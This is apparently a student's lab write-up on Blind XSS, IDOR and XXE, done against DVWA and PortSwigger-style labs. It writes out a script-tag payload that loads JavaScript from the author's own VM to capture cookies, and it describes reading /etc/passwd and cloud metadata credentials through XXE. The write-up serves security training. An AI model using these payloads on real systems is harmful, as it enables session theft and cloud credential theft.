Task – 3: Blind XSS, IDOR, XXE Vulnerability

 

1: Blind XSS (Cross-Site Scripting)

What is Blind XSS?

Blind XSS (Blind Cross-Site Scripting) is a type of XSS vulnerability where the payload executes in a different place, time, or user context than where it was injected — so you don’t see the result immediately. Unlike normal XSS, the attacker must wait for an out-of-band interaction (for example, when an admin views logs or a dashboard).

1. Attacker injects an XSS payload into an input field (e.g., contact form, feedback, user profile)
2. Application stores the payload (DB, logs, CRM, admin panel)
3. Later, an admin or internal user views the data
4. The payload executes in their browser
5. Attacker receives a callback (cookie, request, alert, etc.)

Explanation:

In above screenshot I used victim as DVWA lab, I put my script into the comment box. Command: <script src="http://192.168.56.101:8000/xss.js"></script> Where ip refers to my VM’s and xss.js was also saved at “/home/kali” path in VM, here I am using my VM kali as python server to get response. As belove screenshot we got our response to VM server.

Now, for stealing cookie information or response header I just create python script using AI, where process go through like this step,

1. Script starts python server
2. Attacker put payload into targeted place on victim’s web page or server.
3. When payload trigger our script also trigger the alert
4. In that alert log we got the header response
5. Refer the below screenshot (we can customise our java script for what we want in alert logs)

2: IDOR (Insecure Direct Object Reference)

What is IDOR Vulnerability? IDOR (Insecure Direct Object Reference) is an access control vulnerability where an application exposes internal object identifiers (IDs) and fails to properly check authorization. This allows an attacker to access or modify other users’ data just by changing an ID.

IDOR Attack Scenario:

In this screenshot I noticed that here we have “ID=something” like parameter, therefore we can test IDOR vulnerability. In above we had ID=wiener, which is quite possible refers from username.

In above screenshot, in just replace wiener with carlos which given us in scop of the lab who also another user.

In this 3rd IDOR’s screenshot, we were able to access the carlos’s account.

• This is a simple lab practice of IDOR where; by changing the user ID in the URL, we were able to access another user’s account due to missing authorization checks. At a higher level, similar issues occur in authenticated features and APIs, where modifying object identifiers such as userId, orderId, or accountId in requests allows access to other users’ data, leading to horizontal privilege escalation.

3: XXE (XML External Entity)

What Is XXE?

XXE is a vulnerability where an application parses XML input and allows attackers to define external entities, leading to file disclosure, SSRF, or data leakage. XML is a data format used to store and transport data. XXE happens because: • Application accepts XML input • XML parser has: o DTD enabled o External entity resolution enabled • Input is not restricted

Explanation:

In first step we have to analyse our request and response, where I found xml accepting request here, we can test our xml code that is their acceptable request or not.

In this screenshot, I just forge the xml request with adding file://etc/passwd and got something in response that determine that we can pass our forge xml request.

Here, I added “ ]>” this code to request and got response as latest which is directory, so just need to add that in our “http” forge code. • What is this IP: 169.254.169.254? 169.254.169.254 is the Cloud Metadata Service IP used by AWS, Azure, and GCP to expose instance secrets.

At final we got AccesskeyID, Secreteaccesskey and other confidential information that should not leak, refer above screenshot.

Reference:

• YouTube • Hackerone write-ups • Portswigger • DVWA lab • ChatGPT • Perplexity AI